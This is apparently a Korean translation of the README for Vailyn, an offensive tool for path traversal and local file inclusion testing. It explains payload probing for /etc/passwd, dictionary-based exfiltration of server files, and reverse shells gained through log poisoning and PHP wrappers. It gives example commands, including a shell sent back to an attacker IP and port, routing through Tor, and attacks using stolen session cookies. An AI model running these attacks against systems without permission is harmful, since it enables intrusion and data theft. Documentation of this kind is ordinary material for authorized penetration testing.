
Python으로 작성된 단계적이고 회피적인 경로 탐색 + LFI 스캐닝 및 익스플로잇 도구

Vailyn 3.0
v3.0부터 Vailyn은 Phase 1에서 LFI PHP 래퍼를 지원합니다. 스캔에 포함하려면
--lfi를 사용하세요.
Vailyn은 경로 탐색 및 파일 포함 취약점에 대한 다단계 취약점 분석 및 익스플로잇 도구입니다. 최대한 성능을 높이고 다양한 필터 우회 기술을 제공하기 위해 제작되었습니다.
Vailyn은 2단계로 작동합니다. 먼저 취약점이 존재하는지 확인합니다. 모든 우회 페이로드를 사용하여 /etc/passwd(또는 사용자가 지정한 파일)에 접근을 시도합니다. 응답을 분석하여 작동한 페이로드를 다른 것과 분리합니다.
이제 사용자는 어떤 페이로드를 사용할지 자유롭게 선택할 수 있습니다. 두 번째 단계에서는 이러한 페이로드만 사용됩니다.
두 번째 단계는 익스플로잇 단계입니다. 파일 및 디렉토리 사전을 사용하여 서버에서 가능한 모든 파일을 유출하려고 시도합니다. 검색 깊이와 디렉토리 순열 수준은 인수를 통해 조정할 수 있습니다. 선택적으로 발견된 파일을 다운로드하여 loot 폴더에 저장할 수 있습니다. 또는 시스템에서 역방향 셸을 얻으려고 시도하여 공격자가 서버에 대한 완전한 제어권을 얻을 수 있습니다.
현재 여러 공격 벡터를 지원합니다: 쿼리, 경로, 쿠키 및 POST 데이터를 통한 인젝션.
단계 분리는 도구의 성능을 크게 향상시키기 위해 수행됩니다. 이전 버전에서는 모든 파일-디렉토리 조합이 모든 페이로드로 확인되었습니다. 이로 인해 현재 페이지에 대해 작동하지 않는 페이로드가 계속 재사용되어 큰 오버헤드가 발생했습니다.
권장 및 테스트된 Python 버전은 3.7+이지만 Python 3.5 및 Python 3.6에서도 잘 작동해야 합니다. Vailyn을 설치하려면 릴리스 탭에서 아카이브를 다운로드하거나 다음을 수행하세요.
$ git clone https://github.com/VainlyStrain/Vailyn
시스템에 설치한 후 Python 종속성을 설치해야 합니다.
Unix 시스템에서는 다음을 실행하는 것으로 충분합니다.
$ pip install -r requirements.txt # --user
Vailyn이 사용하는 일부 라이브러리는 Windows에서 제대로 작동하지 않거나 설치에 실패할 수 있습니다.
Windows를 사용하는 경우 pip을 사용하여 Vailyn\·›\requirements-windows.txt에 나열된 요구 사항을 설치하세요.
twisted 설치에 실패하면 여기에 Windows에서 빌드되어야 하는 비공식 버전이 있습니다. 이는 타사 다운로드이며 무결성이 반드시 보장되지는 않습니다. 이 버전이 성공적으로 설치된 후 requirements-windows.txt에 대해 pip을 다시 실행하면 작동합니다.
역방향 셸 모듈을 완전히 사용하려면 sshpass, ncat 및 konsole이 설치되어 있어야 합니다. 패키지 이름은 Linux 배포판에 따라 다릅니다. Windows에서는 미리 수동으로 리스너를 시작해야 합니다. konsole이 마음에 들지 않으면 core/config.py에서 다른 터미널 에뮬레이터를 지정할 수 있습니다.
이제 끝입니다! 설치 디렉토리로 이동하여 다음을 수행하여 Vailyn을 실행하세요.
$ python Vailyn -h
Vailyn에는 3개의 필수 인수가 있습니다: -v VIC, -a INT 및 -p2 TP P1 P2. 그러나 -a에 따라 더 많은 인수가 필요할 수 있습니다.
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
필수:
-v VIC, --victim VIC 공격 대상, 1부 [페이로드 전]
-a INT, --attack INT 공격 유형 (정수, 1-5 또는 A)
A| 스파이더 (전체) 2| 경로 5| POST 데이터, json
P| 스파이더 (부분) 3| 쿠키
1| 쿼리 매개변수 4| POST 데이터, 평문
-p2 TP P1 P2, --phase2 TP P1 P2
Phase 2 공격 및 필요한 매개변수
┌[ 값 ]─────────────────┬──────────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼─────────────┼──────────────────────────┤
│ leak │ 파일 사전 │ 디렉토리 사전 │
│ inject │ IP 주소 │ 수신 포트 │
│ implant │ 소스 파일 │ 서버 대상 │
└─────────┴─────────────┴──────────────────────────┘
추가:
-p PAM, --param PAM --attack 1, 4, 5에 대한 쿼리 매개변수 또는 POST 데이터
-i F, --check F Phase 1에서 확인할 파일 (기본값: etc/passwd)
-Pi VIC2, --vic2 VIC2 공격 대상, 2부 [페이로드 후]
-c C, --cookie C 추가할 쿠키 (헤더 형식)
-l, --loot 발견된 파일을 loot 폴더에 다운로드
-d I J K, --depths I J K
깊이 (I: Phase 1, J: Phase 2, K: 순열 수준)
-h, --help 이 도움말 메뉴를 표시하고 종료
-s T, --timeout T 요청 시간 초과; Arjun용 안정 스위치
-t, --tor Tor 익명 네트워크를 통해 공격 파이프
-L, --lfi PHP 래퍼를 추가로 사용하여 파일 유출
-n, --nosploit Phase 2 건너뛰기 (-p2 TP P1 P2 필요 없음)
-P, --precise Phase 1에서 정확한 깊이 사용 (범위 아님)
-A, --app Vailyn의 Qt5 인터페이스 시작
개발:
--debug 404을 포함한 모든 시도 경로 표시
--version 프로그램 버전을 출력하고 종료
--notmain 서브프로세스 호출에서 notify2 충돌 방지
정보:
절대 경로를 사용하여 파일 유출: -d 0 0 0
절대 경로를 사용하여 셸 획득: -d 0 X 0
Vailyn은 현재 5가지 공격 벡터를 지원하며, 이를 자동화하는 크롤러도 제공합니다. 수행되는 공격은 -a INT 인수로 식별됩니다.
INT 공격
---- -------
1 쿼리 기반 공격 (https://site.com?file=../../../)
2 경로 기반 공격 (https://site.com/../../../)
3 쿠키 기반 공격 (쿠키를 자동으로 가져옵니다)
4 평문 POST 데이터 (ELEM1=VAL1&ELEM2=../../../)
5 JSON POST 데이터 ({"file": "../../../"})
A 스파이더 모든 벡터를 사용하여 사이트의 모든 URL 가져오기 및 분석
P 부분 스파이더 선택한 벡터만 사용하여 사이트의 모든 URL 가져오기 및 분석
또한 공격할 대상을 지정해야 합니다. 이는 -v VIC 및 -Pi VIC2를 통해 수행되며, -v는 인젝션 포인트 이전 부분이고 -Pi는 나머지 부분입니다.
예: 최종 URL이 https://site.com/download.php?file=<공격>¶m2=necessaryvalue처럼 보여야 하는 경우 -v https://site.com/download.php 및 -Pi ¶m2=necessaryvalue(그리고 쿼리 공격이므로 -p file)을 지정할 수 있습니다.
PHP 래퍼(예: php://filter)를 스캔에 포함하려면 --lfi 인수를 사용하세요. Phase 1이 끝나면 작동한 래퍼가 포함된 추가 선택 메뉴가 표시됩니다. (있는 경우)
공격 대상 사이트가 로그인 페이지 뒤에 있는 경우 -c COOKIE를 통해 인증 쿠키를 제공할 수 있습니다. Tor를 통해 공격하려면 --tor를 사용하세요.
작동하는 페이로드를 나머지와 분리하는 분석 단계입니다.
기본적으로 /etc/passwd가 조회됩니다. 서버가 Linux를 실행하지 않는 경우 -i FILENAME으로 사용자 정의 파일을 지정할 수 있습니다. FILENAME에 하위 디렉토리를 포함해야 합니다.
조회 깊이는 -d의 첫 번째 값으로 수정할 수 있습니다(기본값=8).
절대 경로를 사용하려면 첫 번째 깊이를 0으로 설정하세요.
익스플로잇 단계입니다. Vailyn은 가능한 한 많은 파일을 유출하거나 다양한 기술을 사용하여 역방향 셸을 획득하려고 시도합니다.
Phase 2의 조회 깊이(최대 역방향 트래버스 계층 수)는 -d 인수의 두 번째 값으로 지정됩니다. 하위 디렉토리 순열 수준은 -d의 세 번째 값으로 설정됩니다.
절대 경로로 공격하고 유출 공격을 수행하는 경우 모든 깊이를 0으로 설정하세요. 역방향 셸을 얻으려면 두 번째 깊이가 0보다 큰지 확인하세요.
-l을 지정하면 Vailyn이 터미널에 파일을 표시할 뿐만 아니라 파일을 다운로드하여 loot 폴더에 저장합니다.
자세한 출력(발견된 파일뿐만 아니라 모든 출력 표시)을 원하면 --debug를 사용할 수 있습니다. 출력이 매우 지저분해지므로 기본적으로 디버그 도움말입니다.
무차별 대입 공격을 수행하려면 -p2 leak FIL PATH를 지정해야 합니다. 여기서
코드 인젝션을 통해 역방향 셸을 얻으려면 -p2 inject IP PORT를 사용할 수 있습니다. 여기서
경고
Vailyn은 로그 포이즈닝 기술을 사용합니다. 따라서 지정된 IP가 서버 로그에 표시됩니다.
기술(LFI 포함에만 작동):
/proc/self/environ 포함은 구형 서버에서만 작동합니다.Apache + Nginx 로그 포이즈닝 및 포함SSH 로그 포이즈닝오염된 메일 포함expect://data:// (평문 및 b64)php://inputVailyn은 실제 결과와 오탐지를 구분하기 위해 다음 검사를 수행합니다:
-a 2의 경우 응답 콘텐츠가 서버 루트 URL의 콘텐츠와 일치하는지 추가 확인/etc/passwd를 조회 파일로 사용하는 경우 REGEX 검사간단한 쿼리 공격, Phase 2에서 파일 유출:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
쿼리 공격이지만 file.php 파일이 포함 지점 위 정확히 2단계에 존재한다는 것을 알고 있음:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
이렇게 하면 대상 공격이므로 Phase 1의 지속 시간이 크게 단축됩니다.
간단한 경로 공격:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
경로 공격이지만 쿼리 매개변수와 태그가 필요함:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
간단한 쿠키 공격:
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
쿠키를 가져와서 오염시킬 쿠키를 선택할 수 있습니다.
Vailyn의 크롤러가 매우 취약한 웹 애플리케이션을 분석하고 있습니다. LFI 래퍼는 활성화되지 않았습니다.
오탐지/부정 발견(또는 다른 버그/개선 사항을 지적하려는 경우): 이슈를 남겨주세요!
Vailyn은 공격적인 웹 애플리케이션 감사 도구로 제공됩니다. 이 도구에는 웹 애플리케이션의 잠재적 취약점을 드러낼 수 있는 내장 기능이 있으며, 이는 악의적으로 악용될 수 있습니다.
따라서 저자나 기여자는 이 툴킷으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
이 소프트웨어를 사용함으로써 사용자는 현지 법률을 준수하고, 소유자의 명시적 허가 없이 타인의 시스템을 공격하거나 악의적인 의도로 공격하지 않을 것을 동의합니다.
위반 시, 이를 저지른 최종 사용자만이 자신의 행동에 대해 책임을 집니다.
Vailyn: Copyright © VainlyStrain
Arjun: Copyright © s0md3v
Arjun은 더 이상 Vailyn에 포함되어 배포되지 않습니다. pip을 통해 최신 버전을 설치하세요.
POST 평문 공격:
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
DATA2에 페이로드를 삽입합니다.
POST JSON 공격:
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
공격이지만 대상이 로그인 화면 뒤에 있음:
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
공격이지만 포트 1337에서 역방향 셸을 원함:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # 로그 인젝션을 위해 높은 Phase 2 깊이가 필요함
(Unix에서 ncat 리스너를 시작합니다)
크롤러 모드에서 완전 자동화:
$ Vailyn -v "http://root-url.site" -a A 여기에 쿠키, 깊이, lfi 및 조회 파일과 같은 다른 인수를 지정할 수도 있습니다.
완전 자동화이지만 Arjun에 --stable이 필요함:
$ Vailyn -v "http://root-url.site" -a A -s ANY